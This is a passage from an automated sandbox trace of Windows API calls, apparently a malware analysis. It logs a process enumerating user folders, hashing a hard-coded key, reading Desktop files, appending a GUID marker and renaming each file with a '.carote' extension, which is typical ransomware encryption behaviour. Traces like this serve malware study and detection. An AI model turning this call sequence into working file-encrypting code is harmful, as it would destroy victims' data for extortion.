lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.498] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.498] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.498] PathFindFileNameW (pszPath="") returned="" [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.498] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.498] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.498] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1c) returned 0x7a35bc8 [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0112.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.498] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x38) returned 0x7a427e0 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.499] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x54) returned 0x7a31720 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a483a8 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a427e0 | out: hHeap=0x5010000) returned 1 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0112.499] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0112.499] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.499] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.499] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.499] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.499] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.500] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.500] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.501] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.501] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0112.501] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\") returned="f_-8oBARRP9-U\\" [0112.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0112.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0112.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.501] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.501] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.501] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.501] PathFindFileNameW (pszPath="") returned="" [0112.501] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.501] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ec8dbb0, ftCreationTime.dwHighDateTime=0x1d4c9c7, ftLastAccessTime.dwLowDateTime=0xdc958d40, ftLastAccessTime.dwHighDateTime=0x1d4cb14, ftLastWriteTime.dwLowDateTime=0xdc958d40, ftLastWriteTime.dwHighDateTime=0x1d4cb14, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.502] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ec8dbb0, ftCreationTime.dwHighDateTime=0x1d4c9c7, ftLastAccessTime.dwLowDateTime=0xdc958d40, ftLastAccessTime.dwHighDateTime=0x1d4cb14, ftLastWriteTime.dwLowDateTime=0xdc958d40, ftLastWriteTime.dwHighDateTime=0x1d4cb14, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.502] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34917820, ftCreationTime.dwHighDateTime=0x1d4cabf, ftLastAccessTime.dwLowDateTime=0xbf66eeb0, ftLastAccessTime.dwHighDateTime=0x1d4ce95, ftLastWriteTime.dwLowDateTime=0xbf66eeb0, ftLastWriteTime.dwHighDateTime=0x1d4ce95, nFileSizeHigh=0x0, nFileSizeLow=0x14bb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4gyquRJLFk4EHaxRY.jpg", cAlternateFileName="4GYQUR~1.JPG")) returned 1 [0112.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.502] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\4gyquRJLFk4EHaxRY.jpg") returned=".jpg" [0112.502] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\4gyquRJLFk4EHaxRY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\4gyqurjlfk4ehaxry.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.502] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=84912) returned 1 [0112.502] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.504] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14b8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.504] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.506] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x14bb0, lpOverlapped=0x0) returned 1 [0112.506] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.506] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.506] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.507] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecac8) returned 1 [0112.507] CryptCreateHash (in: hProv=0x50ecac8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.507] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.507] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.507] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.507] GetLastError () returned 0x0 [0112.507] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.507] CryptReleaseContext (hProv=0x50ecac8, dwFlags=0x0) returned 1 [0112.508] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14bb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.508] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.508] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.508] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.508] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.508] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.508] CloseHandle (hObject=0x61c) returned 1 [0112.509] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0112.509] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.509] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\4gyquRJLFk4EHaxRY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\4gyqurjlfk4ehaxry.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\4gyquRJLFk4EHaxRY.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\4gyqurjlfk4ehaxry.jpg.carote")) returned 1 [0112.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.510] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.511] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ee10f0, ftCreationTime.dwHighDateTime=0x1d4cb97, ftLastAccessTime.dwLowDateTime=0x9b376140, ftLastAccessTime.dwHighDateTime=0x1d4cc43, ftLastWriteTime.dwLowDateTime=0x9b376140, ftLastWriteTime.dwHighDateTime=0x1d4cc43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bFT9ci 8fZ3bljOH", cAlternateFileName="BFT9CI~1")) returned 1 [0112.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0112.511] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28808db0, ftCreationTime.dwHighDateTime=0x1d4d11c, ftLastAccessTime.dwLowDateTime=0x43715870, ftLastAccessTime.dwHighDateTime=0x1d4d144, ftLastWriteTime.dwLowDateTime=0x43715870, ftLastWriteTime.dwHighDateTime=0x1d4d144, nFileSizeHigh=0x0, nFileSizeLow=0x4d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fDU6skWeF5QU.swf", cAlternateFileName="FDU6SK~1.SWF")) returned 1 [0112.511] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\fDU6skWeF5QU.swf") returned=".swf" [0112.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\fDU6skWeF5QU.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\fdu6skwef5qu.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.512] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=1239) returned 1 [0112.512] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.514] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.514] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.517] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x4d7, lpOverlapped=0x0) returned 1 [0112.517] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.517] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.517] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.517] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.518] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.518] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.518] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.518] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.518] GetLastError () returned 0x0 [0112.518] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.518] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.518] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.518] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.518] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.518] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.518] CloseHandle (hObject=0x61c) returned 1 [0112.519] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\fDU6skWeF5QU.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\fdu6skwef5qu.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 